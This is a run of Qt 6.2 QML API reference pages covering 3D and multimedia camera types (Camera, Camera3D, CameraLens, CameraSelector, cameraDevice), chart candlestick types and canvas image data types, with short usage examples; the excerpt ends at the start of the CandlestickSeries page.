 Adjusts the camera roll about view center by *angle* in degrees.

 ###  [quaternion](qml-quaternion) rollRotation([real](qml-real) *angle*)

 Returns the calculated roll rotation in relation to the *angle* in degrees taken in to adjust the camera's roll or lean left/right rotation on the Z axis.

 ###  void rotate([quaternion](qml-quaternion) *q*)

 Rotates the camera with the use of a Quaternion in *q*.

 ###  void rotateAboutViewCenter([quaternion](qml-quaternion) *q*)

 Rotates the camera about the view center with the use of a Quaternion in *q*.

 ###  [quaternion](qml-quaternion) rotation([real](qml-real) *angle*, [vector3d](qml-vector3d) *axis*)

 Returns the calculated rotation in relation to the *angle* in degrees and chosen *axis* taken in.

 ###  void tilt([real](qml-real) *angle*)

 Adjusts the tilt angle of the camera by *angle* in degrees.

 ###  void tiltAboutViewCenter([real](qml-real) *angle*)

 Adjusts the camera tilt about view center by *angle* in degrees.

 ###  [quaternion](qml-quaternion) tiltRotation([real](qml-real) *angle*)

 Returns the calculated tilt rotation in relation to the *angle* in degrees taken in to adjust the camera's tilt or up/down rotation on the X axis.

 ###  void translate([vector3d](qml-vector3d) *vLocal*, [enumeration](qml-enumeration) *option*)

 Translates the camera's position and its view vector by *vLocal* in local coordinates. The *option* allows for toggling whether the view center should be translated.

 * Camera.TranslateViewCenter
* Camera.DontTranslateViewCenter

 **See also** [Qt3DRender::QCamera::CameraTranslationOption](qt3drender-qcamera#CameraTranslationOption-enum).

 ###  void translateWorld([vector3d](qml-vector3d) *vWorld*, [enumeration](qml-enumeration) *option*)

 Translates the camera's position and its view vector by *vWorld* in world coordinates. The *option* allows for toggling whether the view center should be translated.

 * Camera.TranslateViewCenter
* Camera.DontTranslateViewCenter

 **See also** [Qt3DRender::QCamera::CameraTranslationOption](qt3drender-qcamera#CameraTranslationOption-enum).

 ###  void viewAll()

 Rotates and moves the camera so that it's [viewCenter](qml-qt3d-render-camera#viewCenter-prop) is the center of the scene's bounding volume and the entire scene fits in the view port.

  **Note:** Only works if the lens is in perspective or orthographic projection mode.

  **See also** [Qt3D.Render::Camera::projectionType](qml-qt3d-render-camera#projectionType-prop).

 ###  void viewEntity([Entity](qml-qt3d-core-entity) *entity*)

 Rotates and moves the camera so that it's [viewCenter](qml-qt3d-render-camera#viewCenter-prop) is the center of the entity's bounding volume and the entire *entity* fits in the view port.

  **Note:** Only works if the lens is in perspective or orthographic projection mode.

  **See also** [Qt3D.Render::Camera::projectionType](qml-qt3d-render-camera#projectionType-prop).

 ###  void viewSphere([vector3d](qml-vector3d) *center*, [real](qml-real) *radius*)

 Rotates and moves the camera so that it's [viewCenter](qml-qt3d-render-camera#viewCenter-prop) is *center* and a sphere of *radius* fits in the view port.

  **Note:** Only works if the lens is in perspective or orthographic projection mode.

  **See also** [Qt3D.Render::Camera::projectionType](qml-qt3d-render-camera#projectionType-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-camera.html>

Camera QML Type
===============

 An interface for camera settings related to focus and zoom. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtMultimedia |
|  Instantiates: | [QCamera](qcamera) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtmultimedia-camera-members.html)

 Properties
----------

 * **[active](qml-qtmultimedia-camera#active-prop)** : bool
* **[cameraDevice](qml-qtmultimedia-camera#cameraDevice-prop)** : CameraDevice
* **[cameraFormat](qml-qtmultimedia-camera#cameraFormat-prop)** : CameraDevice
* **[customFocusPoint](qml-qtmultimedia-camera#customFocusPoint-prop)** : point
* **[error](qml-qtmultimedia-camera#error-prop)** : enumeration
* **[errorString](qml-qtmultimedia-camera#errorString-prop)** : string
* **[exposureMode](qml-qtmultimedia-camera#exposureMode-prop)** : ExposureMode
* **[exposureTime](qml-qtmultimedia-camera#exposureTime-prop)** : float
* **[flashMode](qml-qtmultimedia-camera#flashMode-prop)** : Camera::FlashMode
* **[flashReady](qml-qtmultimedia-camera#flashReady-prop)** : bool
* **[focusMode](qml-qtmultimedia-camera#focusMode-prop)** : enumeration
* **[focusPoint](qml-qtmultimedia-camera#focusPoint-prop)** : point
* **[isoSensitivity](qml-qtmultimedia-camera#isoSensitivity-prop)** : int
* **[manualExposureTime](qml-qtmultimedia-camera#manualExposureTime-prop)** : real
* **[manualIsoSensitivity](qml-qtmultimedia-camera#manualIsoSensitivity-prop)** : int
* **[maximumZoomFactor](qml-qtmultimedia-camera#maximumZoomFactor-prop)** : real
* **[minimumZoomFactor](qml-qtmultimedia-camera#minimumZoomFactor-prop)** : real
* **[supportedFeatures](qml-qtmultimedia-camera#supportedFeatures-prop)** : Features
* **[torchMode](qml-qtmultimedia-camera#torchMode-prop)** : Camera::TorchMode
* **[whiteBalanceMode](qml-qtmultimedia-camera#whiteBalanceMode-prop)** : WhiteBalanceMode
* **[zoomFactor](qml-qtmultimedia-camera#zoomFactor-prop)** : real

 Signals
-------

 * void **[errorOccurred](qml-qtmultimedia-camera#errorOccurred-signal)**(Camera::Error *error*, string *errorString*)

 Methods
-------

 * **[colorTemperature](qml-qtmultimedia-camera#colorTemperature-method)**()
* bool **[isExposureModeSupported](qml-qtmultimedia-camera#isExposureModeSupported-method)**(ExposureMode *mode*)
* bool **[isFlashModeSupported](qml-qtmultimedia-camera#isFlashModeSupported-method)**(FlashMode *mode*)
* bool **[isFlashReady](qml-qtmultimedia-camera#isFlashReady-method)**()
* bool **[isFocusModeSupported](qml-qtmultimedia-camera#isFocusModeSupported-method)**(FocusMode *mode*)
* bool **[isTorchModeSupported](qml-qtmultimedia-camera#isTorchModeSupported-method)**(TorchMode *mode*)
* bool **[isWhiteBalanceModeSupported](qml-qtmultimedia-camera#isWhiteBalanceModeSupported-method)**(WhiteBalanceMode *mode*)
* void **[start](qml-qtmultimedia-camera#start-method)**()
* void **[stop](qml-qtmultimedia-camera#stop-method)**()
* void **[zoomTo](qml-qtmultimedia-camera#zoomTo-method)**(*factor*, *rate*)

 Detailed Description
--------------------

 The Camera element can be used within a [CaptureSession](qml-qtmultimedia-capturesession) for video recording and image taking.

 You can use [MediaDevices](qml-qtmultimedia-mediadevices) to list available cameras and choose which one to use.

 
```
MediaDevices {
    id: mediaDevices
}
CaptureSession {
    camera: Camera {
        cameraDevice: mediaDevices.defaultVideoInput
    }
}
```
 On hardware that supports it, [QCamera](qcamera) lets you adjust the focus and zoom. This also includes functionality such as a "Macro" mode for close up work (e.g. reading barcodes, or recognizing letters), or "touch to focus" - indicating an interesting area of the image for the hardware to attempt to focus on.

 
```
Item {
    width: 640
    height: 360

    CaptureSession {
        camera: Camera {
            id: camera

            focusMode: Camera.FocusModeAutoNear
            customFocusPoint: Qt.point(0.2, 0.2) // Focus relative to top-left corner
        }
        videoOutput: videoOutput
    }

    VideoOutput {
        id: videoOutput
        anchors.fill: parent
    }
}
```
 The [minimumZoomFactor](qml-qtmultimedia-camera#minimumZoomFactor-prop) and [maximumZoomFactor](qml-qtmultimedia-camera#maximumZoomFactor-prop) properties provide the range of supported zoom factors. The [zoomFactor](qml-qtmultimedia-camera#zoomFactor-prop) property allows changing the zoom factor.

 
```
Camera {
    zoomFactor: maximumZoomFactor // zoom in as much as possible
}
```
 After capturing the raw data for a camera frame, the camera hardware and software performs various image processing tasks to produce the final image. This includes compensating for ambient light color, reducing noise, as well as making some other adjustments to the image.

 You can control many of these processing steps through the Camera properties. For example, you can set the white balance (or color temperature) used for processing images:

 
```
Camera {
    whiteBalanceMode: Camera.WhiteBalanceManual
    colorTemperature: 5600
}
```
 For more information on image processing of camera frames, see [Camera Image Processing](https://doc.qt.io/qt-6.2/cameraoverview.html#camera-image-processing).

 See the [camera overview](https://doc.qt.io/qt-6.2/cameraoverview.html) for more information.

 Property Documentation
----------------------

 ###  active : [bool](qml-bool)

 Describes whether the camera is currently active.

 ###  cameraDevice : CameraDevice

 Gets or sets the currently active camera device.

 ###  cameraFormat : CameraDevice

 Gets or sets the currently active camera format.

 **See also** [CameraDevice::videoFormats](qml-cameradevice#videoFormats-prop).

 ###  customFocusPoint : [point](qml-point)

 This property holds the position of custom focus point, in relative frame coordinates. This means that [QPointF](qpointf)(0,0) points to the top-left corner of the frame, and [QPointF](qpointf)(0.5,0.5) points to the center of the frame.

 Custom focus point is used only in `FocusPointCustom` focus mode.

 You can check whether custom focus points are supported by querying supportedFeatures() with the Feature.CustomFocusPoint flag.

 ###  error : [enumeration](qml-enumeration)

 Returns the error state of the camera.

 **See also** [QCamera::Error](qcamera#Error-enum).

 ###  errorString : [string](qml-string)

 Returns a human readable string describing a camera's error state.

 ###  exposureMode : ExposureMode

 The exposure mode being used.

 **See also** [QCamera::ExposureMode](qcamera#ExposureMode-enum) and [Camera::isExposureModeSupported](qml-qtmultimedia-camera#isExposureModeSupported-method)().

 ###  exposureTime : float

 Returns the Camera's exposure time in seconds.

 **See also** [manualExposureTime](qml-qtmultimedia-camera#manualExposureTime-prop).

 ###  flashMode : Camera::FlashMode

 Gets or sets a certain flash mode if the camera has a flash.

 **See also** [QCamera::FlashMode](qcamera#FlashMode-enum), [Camera::isFlashModeSupported](qml-qtmultimedia-camera#isFlashModeSupported-method), and [Camera::isFlashReady](qml-qtmultimedia-camera#isFlashReady-method).

 ###  flashReady : [bool](qml-bool)

 Indicates if the flash is charged and ready to use.

 ###  focusMode : [enumeration](qml-enumeration)

 This property holds the current camera focus mode.

  **Note:** In automatic focusing modes and where supported, the [focusPoint](qml-qtmultimedia-camera#focusPoint-prop) property provides information and control over the area of the image that is being focused.

  

| Constant | Description |
| --- | --- |
| `Camera.FocusModeAuto` | Continuous auto focus mode. |
| `Camera.FocusModeAutoNear` | Continuous auto focus, preferring objects near to the camera. |
| `Camera.FocusModeAutoFar` | Continuous auto focus, preferring objects far away from the camera. |
| `Camera.FocusModeHyperfocal` | Focus to hyperfocal distance, with the maximum depth of field achieved. All objects at distances from half of this distance out to infinity will be acceptably sharp. |
| `Camera.FocusModeInfinity` | Focus strictly to infinity. |
| `Camera.FocusModeManual` | Manual or fixed focus mode. |

 If a certain focus mode is not supported, setting it will have no effect.

 **See also** [isFocusModeSupported](qml-qtmultimedia-camera#isFocusModeSupported-method).

 ###  focusPoint : [point](qml-point)

 Returns the point currently used by the auto focus system to focus onto.

 ###  isoSensitivity : [int](qml-int)

 Describes the ISO sensitivity currently used by the camera.

 ###  manualExposureTime : [real](qml-real)

 Gets or sets a manual exposure time.

 Setting this property to -1 (the default) means that the camera automatically determines the exposure time.

 ###  manualIsoSensitivity : [int](qml-int)

 Describes a manually set ISO sensitivity

 Setting this property to -1 (the default), implies that the camera automatically adjusts the ISO sensitivity.

 ###  maximumZoomFactor : [real](qml-real)

 This property holds the maximum zoom factor supported.

 This will be `1.0` on cameras that do not support zooming.

 ###  minimumZoomFactor : [real](qml-real)

 This property holds the minimum zoom factor supported.

 This will be `1.0` on cameras that do not support zooming.

 ###  supportedFeatures : Features

 Returns the features supported by this camera.

 **See also** [QCamera::Feature](qcamera#Feature-enum).

 ###  torchMode : Camera::TorchMode

 Gets or sets the torch mode being used.

 A torch is a continuous source of light. It can be used during video recording in low light conditions. Enabling torch mode will usually override any currently set flash mode.

 **See also** [QCamera::TorchMode](qcamera#TorchMode-enum), [Camera::isTorchModeSupported](qml-qtmultimedia-camera#isTorchModeSupported-method)(), and [Camera::flashMode](qml-qtmultimedia-camera#flashMode-prop).

 ###  whiteBalanceMode : WhiteBalanceMode

 Gets or sets the white balance mode being used.

 **See also** [QCamera::WhiteBalanceMode](qcamera#WhiteBalanceMode-enum).

 ###  zoomFactor : [real](qml-real)

 Gets or sets the current zoom factor. Values will be clamped between [minimumZoomFactor](qml-qtmultimedia-camera#minimumZoomFactor-prop) and [maximumZoomFactor](qml-qtmultimedia-camera#maximumZoomFactor-prop).

 Signal Documentation
--------------------

 ###  void errorOccurred(Camera::Error *error*, [string](qml-string) *errorString*)

 This signal is emitted when error state changes to *error*. A description of the error is provided as *errorString*.

 **Note:** The corresponding handler is `onErrorOccurred`.

 Method Documentation
--------------------

 ###  colorTemperature()

 Gets or sets the current color temperature.

 Setting a color temperature will only have an effect if WhiteBalanceManual is supported. In this case, setting a temperature greater 0 will automatically set the white balance mode to WhiteBalanceManual. Setting the temperature to 0 will reset the white balance mode to WhiteBalanceAuto.

 ###  [bool](qml-bool) isExposureModeSupported(ExposureMode *mode*)

 Returns true if the exposure *mode* is supported.

 ###  [bool](qml-bool) isFlashModeSupported(FlashMode *mode*)

 Returns true if the flash *mode* is supported.

 ###  [bool](qml-bool) isFlashReady()

 Returns true if flash is charged.

 ###  [bool](qml-bool) isFocusModeSupported(FocusMode *mode*)

 Returns true if the focus *mode* is supported by the camera.

 ###  [bool](qml-bool) isTorchModeSupported(TorchMode *mode*)

 Returns true if the torch *mode* is supported.

 ###  [bool](qml-bool) isWhiteBalanceModeSupported(WhiteBalanceMode *mode*)

 Returns true if the white balance *mode* is supported.

 ###  void start()

 Starts the camera.

 Same as setting the active property to true.

 If the camera can't be started for some reason, the [errorOccurred](qml-qtmultimedia-camera#errorOccurred-signal)() signal is emitted.

 ###  void stop()

 Stops the camera. Same as setting the active property to false.

 ###  void zoomTo(*factor*, *rate*)

 Zooms to a zoom factor *factor* using *rate*.

 The *rate* is specified in powers of two per second. At a rate of 1 it would take 2 seconds to go from a zoom factor of 1 to 4.

  **Note:** Using a specific rate is not supported on all cameras. If not supported, zooming will happen as fast as possible.

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtmultimedia-camera.html>

Camera3D QML Type
=================

 Representation of a camera in 3D space. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtDataVisualization |
|  Since: |  QtDataVisualization 1.0 |
|  Instantiates: | [Q3DCamera](q3dcamera) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtdatavisualization-camera3d-members.html)

 Properties
----------

 * **[cameraPreset](qml-qtdatavisualization-camera3d#cameraPreset-prop)** : Camera3D.CameraPreset
* **[maxZoomLevel](qml-qtdatavisualization-camera3d#maxZoomLevel-prop)** : float
* **[minZoomLevel](qml-qtdatavisualization-camera3d#minZoomLevel-prop)** : float
* **[target](qml-qtdatavisualization-camera3d#target-prop)** : vector3d
* **[wrapXRotation](qml-qtdatavisualization-camera3d#wrapXRotation-prop)** : bool
* **[wrapYRotation](qml-qtdatavisualization-camera3d#wrapYRotation-prop)** : bool
* **[xRotation](qml-qtdatavisualization-camera3d#xRotation-prop)** : float
* **[yRotation](qml-qtdatavisualization-camera3d#yRotation-prop)** : float
* **[zoomLevel](qml-qtdatavisualization-camera3d#zoomLevel-prop)** : float

 Detailed Description
--------------------

 Camera3D represents a basic orbit around centerpoint 3D camera that is used when rendering the data visualization. The type offers simple methods for rotating the camera around the origin and setting zoom level.

 For Camera3D enums, see [Q3DCamera::CameraPreset](q3dcamera#CameraPreset-enum).

 Property Documentation
----------------------

 ###  cameraPreset : [Camera3D](qml-qtdatavisualization-camera3d).CameraPreset

 The currently active camera preset, which is one of [Camera3D.CameraPreset](q3dcamera#CameraPreset-enum). If no preset is active, the value is [Camera3D.CameraPresetNone](q3dcamera#CameraPreset-enum).

 ###  maxZoomLevel : float

 Sets the maximum allowed camera zoom level. If the new maximum level is lower than the existing minimum level, the minimum level is adjusted to the new maximum as well. If the current [zoomLevel](qml-qtdatavisualization-camera3d#zoomLevel-prop) is outside the new bounds, it is adjusted as well. Defaults to `500.0f`.

 **See also** [zoomLevel](qml-qtdatavisualization-camera3d#zoomLevel-prop) and [minZoomLevel](qml-qtdatavisualization-camera3d#minZoomLevel-prop).

 ###  minZoomLevel : float

 Sets the minimum allowed camera zoom level. If the new minimum level is higher than the existing maximum level, the maximum level is adjusted to the new minimum as well. If the current [zoomLevel](qml-qtdatavisualization-camera3d#zoomLevel-prop) is outside the new bounds, it is adjusted as well. The minZoomLevel cannot be set below `1.0`. Defaults to `10.0`.

 **See also** [zoomLevel](qml-qtdatavisualization-camera3d#zoomLevel-prop) and [maxZoomLevel](qml-qtdatavisualization-camera3d#maxZoomLevel-prop).

 ###  [since QtDataVisualization 1.2] target : [vector3d](qml-vector3d)

 The camera target as a vector3d. Defaults to `vector3d(0.0, 0.0, 0.0)`.

 Valid coordinate values are between `-1.0...1.0`, where the edge values indicate the edges of the corresponding axis range. Any values outside this range are clamped to the edge.

  **Note:** For bar graphs, the Y-coordinate is ignored and camera always targets a point on the horizontal background.

  This property was introduced in QtDataVisualization 1.2.

 ###  wrapXRotation : [bool](qml-bool)

 The behavior of the minimum and maximum limits in the X-rotation. By default, the X-rotation wraps from minimum value to maximum and from maximum to minimum.

 If set to `true`, the X-rotation of the camera is wrapped from minimum to maximum and from maximum to minimum. If set to `false`, the X-rotation of the camera is limited to the sector determined by the minimum and maximum values.

 ###  wrapYRotation : [bool](qml-bool)

 The behavior of the minimum and maximum limits in the Y-rotation. By default, the Y-rotation is limited between the minimum and maximum values without any wrapping.

 If `true`, the Y-rotation of the camera is wrapped from minimum to maximum and from maximum to minimum. If `false`, the Y-rotation of the camera is limited to the sector determined by the minimum and maximum values.

 ###  xRotation : float

 The X-rotation angle of the camera around the target point in degrees starting from the current base position.

 ###  yRotation : float

 The Y-rotation angle of the camera around the target point in degrees starting from the current base position.

 ###  zoomLevel : float

 The camera zoom level in percentage. The default value of `100.0` means there is no zoom in or out set in the camera. The value is limited by the [minZoomLevel](qml-qtdatavisualization-camera3d#minZoomLevel-prop) and [maxZoomLevel](qml-qtdatavisualization-camera3d#maxZoomLevel-prop) properties.

 **See also** [minZoomLevel](qml-qtdatavisualization-camera3d#minZoomLevel-prop) and [maxZoomLevel](qml-qtdatavisualization-camera3d#maxZoomLevel-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtdatavisualization-camera3d.html>

cameraDevice QML Basic Type
===========================

 Methods
-------

 * string **[description](qml-cameradevice#description-method)**()
* string **[id](qml-cameradevice#id-method)**()
* bool **[isDefault](qml-cameradevice#isDefault-method)**()
* enumeration **[position](qml-cameradevice#position-method)**()

 The cameraDevice value type describes the properties of a camera device that is connected to the system.

 The list of camera devices can be queried from the [MediaDevices](qml-qtmultimedia-mediadevices) type. To select a certain camera device set it as the device on [Camera](qml-qtmultimedia-camera).

 
```
CaptureSession {
    camera: Camera {
        cameraDevice: mediaDevices.defaultVideoInput
    }
}
MediaDevices {
    id: mediaDevices
}
```
 Method Documentation
--------------------

 ###  [string](qml-string) description()

 Returns a human readable name of the camera.

 Use this string to present the device to the user.

 ###  [string](qml-string) id()

 Returns the device id of the camera

 This is a unique ID to identify the camera and may not be human-readable.

 ###  [bool](qml-bool) isDefault()

 Returns true if this is the default camera device.

 ###  [enumeration](qml-enumeration) position()

 Returns the physical position of the camera on the hardware system.

 The returned value can be one of the following:

 

| Property value | Description |
| --- | --- |
| CameraDevice.UnspecifiedPosition | The physical positition of the camera is unspecified. |
| CameraDevice.FrontFace | The camera is on the front of the hardware, facing towards the user. |
| CameraDevice.BackFace | The camera is on the back of the hardware, facing away from the user. |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-cameradevice.html>

CameraLens QML Type
===================

 Provides the projection matrix that is used to define a Camera for 3D scene. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.5 |
|  Instantiates: | [QCameraLens](qt3drender-qcameralens) |
|  Inherits: | [Component3D](qml-qt3d-core-component3d) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-cameralens-members.html)

 Properties
----------

 * **[aspectRatio](qml-qt3d-render-cameralens#aspectRatio-prop)** : real
* **[bottom](qml-qt3d-render-cameralens#bottom-prop)** : real
* **[farPlane](qml-qt3d-render-cameralens#farPlane-prop)** : real
* **[fieldOfView](qml-qt3d-render-cameralens#fieldOfView-prop)** : real
* **[left](qml-qt3d-render-cameralens#left-prop)** : real
* **[nearPlane](qml-qt3d-render-cameralens#nearPlane-prop)** : real
* **[projectionMatrix](qml-qt3d-render-cameralens#projectionMatrix-prop)** : matrix4x4
* **[projectionType](qml-qt3d-render-cameralens#projectionType-prop)** : enumeration
* **[right](qml-qt3d-render-cameralens#right-prop)** : real
* **[top](qml-qt3d-render-cameralens#top-prop)** : real

 Detailed Description
--------------------

 Property Documentation
----------------------

 ###  aspectRatio : [real](qml-real)

 Holds the current aspect ratio of the camera lens.

 ###  bottom : [real](qml-real)

 Holds the current bottom plane of the camera lens.

 ###  farPlane : [real](qml-real)

 Holds the current near plane of the camera lens.

 ###  fieldOfView : [real](qml-real)

 Holds the current field of view of the camera lens in degrees.

 ###  left : [real](qml-real)

 Holds the current left plane of the camera lens.

 ###  nearPlane : [real](qml-real)

 Holds the current near plane of the camera lens.

 ###  [read-only] projectionMatrix : [matrix4x4](qml-matrix4x4)

 Holds the current projection matrix of the camera lens.

  **Note:** This will set the projection type to [Qt3DRender::QCameraLens::CustomProjection](qt3drender-qcameralens#ProjectionType-enum) and thus ignore all other camera parameters that might have been specified.

  ###  projectionType : [enumeration](qml-enumeration)

 Holds the type of the camera projection.

 * [CameraLens](qml-qt3d-render-cameralens).OrthographicProjection
* [CameraLens](qml-qt3d-render-cameralens).PerspectiveProjection
* [CameraLens](qml-qt3d-render-cameralens).FrustumProjection
* [CameraLens](qml-qt3d-render-cameralens).CustomProjection

 **See also** [Qt3DRender::QCameraLens::ProjectionType](qt3drender-qcameralens#ProjectionType-enum).

 ###  right : [real](qml-real)

 Holds the current right plane of the camera lens.

 ###  top : [real](qml-real)

 Holds the current top plane of the camera lens.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-cameralens.html>

CameraSelector QML Type
=======================

 Class to allow for selection of camera to be used. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.5 |
|  Instantiates: | [QCameraSelector](qt3drender-qcameraselector) |
|  Inherits: | [FrameGraphNode](qml-qt3d-render-framegraphnode) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-cameraselector-members.html)

 Properties
----------

 * **[camera](qml-qt3d-render-cameraselector#camera-prop)** : Entity

 Detailed Description
--------------------

 A CameraSelector can be used to select the camera, which is used by the FrameGraph when drawing the entities.

 Property Documentation
----------------------

 ###  camera : [Entity](qml-qt3d-core-entity)

 Holds the currently selected camera.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-cameraselector.html>

CandlestickSet QML Type
=======================

 Represents a single candlestick item in a candlestick chart. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtCharts |
|  Since: |  QtCharts 2.2 |
|  Instantiates: | [QCandlestickSet](qcandlestickset) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtcharts-candlestickset-members.html)

 Properties
----------

 * **[brushFilename](qml-qtcharts-candlestickset#brushFilename-prop)** : string
* **[close](qml-qtcharts-candlestickset#close-prop)** : real
* **[high](qml-qtcharts-candlestickset#high-prop)** : real
* **[low](qml-qtcharts-candlestickset#low-prop)** : real
* **[open](qml-qtcharts-candlestickset#open-prop)** : real
* **[timestamp](qml-qtcharts-candlestickset#timestamp-prop)** : real

 Signals
-------

 * **[clicked](qml-qtcharts-candlestickset#clicked-signal)**()
* **[doubleClicked](qml-qtcharts-candlestickset#doubleClicked-signal)**()
* **[hovered](qml-qtcharts-candlestickset#hovered-signal)**(bool *status*)
* **[pressed](qml-qtcharts-candlestickset#pressed-signal)**()
* **[released](qml-qtcharts-candlestickset#released-signal)**()

 Detailed Description
--------------------

 Five values are needed to create a graphical representation of a candlestick item: [open](qml-qtcharts-candlestickset#open-prop), [high](qml-qtcharts-candlestickset#high-prop), [low](qml-qtcharts-candlestickset#low-prop), [close](qml-qtcharts-candlestickset#close-prop), and [timestamp](qml-qtcharts-candlestickset#timestamp-prop).

 **See also** [CandlestickSeries](qml-qtcharts-candlestickseries).

 Property Documentation
----------------------

 ###  brushFilename : [string](qml-string)

 The name of the file used as a brush for the candlestick item.

 ###  close : [real](qml-real)

 The close value of the candlestick item.

 ###  high : [real](qml-real)

 The high value of the candlestick item.

 ###  low : [real](qml-real)

 The low value of the candlestick item.

 ###  open : [real](qml-real)

 The open value of the candlestick item.

 ###  timestamp : [real](qml-real)

 The timestamp value of the candlestick item.

 Signal Documentation
--------------------

 ###  clicked()

 This signal is emitted when the candlestick item is clicked.

 The corresponding signal handler is `onClicked`.

 **Note:** The corresponding handler is `onClicked`.

 ###  doubleClicked()

 This signal is emitted when the user double-clicks a candlestick item.

 The corresponding signal handler is `onDoubleClicked`.

 **Note:** The corresponding handler is `onDoubleClicked`.

 ###  hovered([bool](qml-bool) *status*)

 This signal is emitted when a mouse is hovered over a candlestick item.

 When the mouse moves over the item, *status* turns `true`, and when the mouse moves away again, it turns `false`.

 The corresponding signal handler is `onHovered`.

 **Note:** The corresponding handler is `onHovered`.

 ###  pressed()

 This signal is emitted when the user clicks the candlestick item and holds down the mouse button.

 The corresponding signal handler is `onPressed`.

 **Note:** The corresponding handler is `onPressed`.

 ###  released()

 This signal is emitted when the user releases the mouse press on the candlestick item.

 The corresponding signal handler is `onReleased`.

 **Note:** The corresponding handler is `onReleased`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtcharts-candlestickset.html>

CanvasGradient QML Type
=======================

 Provides an opaque CanvasGradient interface. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Since: |  Qt 5.0 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-canvasgradient-members.html)

 Methods
-------

 * CanvasGradient **[addColorStop](qml-qtquick-canvasgradient#addColorStop-method)**(real *offset*, string *color*)

 Detailed Description
--------------------

 Method Documentation
--------------------

 ###  [CanvasGradient](qml-qtquick-canvasgradient) addColorStop([real](qml-real) *offset*, [string](qml-string) *color*)

 Adds a color stop with the given *color* to the gradient at the given *offset*. 0.0 is the offset at one end of the gradient, 1.0 is the offset at the other end.

 For example:

 
```
var gradient = ctx.createLinearGradient(0, 0, 100, 100);
gradient.addColorStop(0.3, Qt.rgba(1, 0, 0, 1));
gradient.addColorStop(0.7, 'rgba(0, 255, 255, 1');
```


 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-canvasgradient.html>

CanvasImageData QML Type
========================

 Contains image pixel data in RGBA order. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-canvasimagedata-members.html)

 Properties
----------

 * **[data](qml-qtquick-canvasimagedata#data-prop)** : object
* **[height](qml-qtquick-canvasimagedata#height-prop)** : int
* **[width](qml-qtquick-canvasimagedata#width-prop)** : int

 Detailed Description
--------------------

 The CanvasImageData object holds the image pixel data.

 The CanvasImageData object has the actual dimensions of the data stored in this object and holds the one-dimensional array containing the data in RGBA order, as integers in the range 0 to 255.

 **See also** [width](qml-qtquick-canvasimagedata#width-prop), [height](qml-qtquick-canvasimagedata#height-prop), [data](qml-qtquick-canvasimagedata#data-prop), [Context2D::createImageData](qml-qtquick-context2d#createImageData-method)(), [Context2D::getImageData](qml-qtquick-context2d#getImageData-method)(), and [Context2D::putImageData](qml-qtquick-context2d#putImageData-method)().

 Property Documentation
----------------------

 ###  data : object

 Holds the one-dimensional array containing the data in RGBA order, as integers in the range 0 to 255.

 ###  height : [int](qml-int)

 Holds the actual height dimension of the data in the ImageData object, in device pixels.

 ###  width : [int](qml-int)

 Holds the actual width dimension of the data in the ImageData object, in device pixels.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-canvasimagedata.html>

CanvasPixelArray QML Type
=========================

 Provides ordered and indexed access to the components of each pixel in image data. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-canvaspixelarray-members.html)

 Properties
----------

 * **[length](qml-qtquick-canvaspixelarray#length-prop)** : int

 Detailed Description
--------------------

 The CanvasPixelArray object provides ordered, indexed access to the color components of each pixel of the image data. The CanvasPixelArray can be accessed as normal Javascript array.

 **See also** [CanvasImageData](qml-qtquick-canvasimagedata) and [W3C 2d context standard for PixelArray](http://www.w3.org/TR/2dcontext/#canvaspixelarray).

 Property Documentation
----------------------

 ###  length : [int](qml-int)

 The [CanvasPixelArray](qml-qtquick-canvaspixelarray) object represents h×w×4 integers which w and h comes from [CanvasImageData](qml-qtquick-canvasimagedata). The length attribute of a [CanvasPixelArray](qml-qtquick-canvaspixelarray) object must return this h×w×4 number value. This property is read only.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-canvaspixelarray.html>

CandlestickSeries QML Type
==========================

 Represents a series of data as candlesticks. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtCharts |
|  Since: |  QtCharts 2.2 |
|  Instantiates: | [QCandlestickSeries](qcandlestickseries) |
|  Inherits: | [AbstractSeries](qml-qtcharts-abstractseries) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtcharts-candlestickseries-members.html)

 Properties
----------

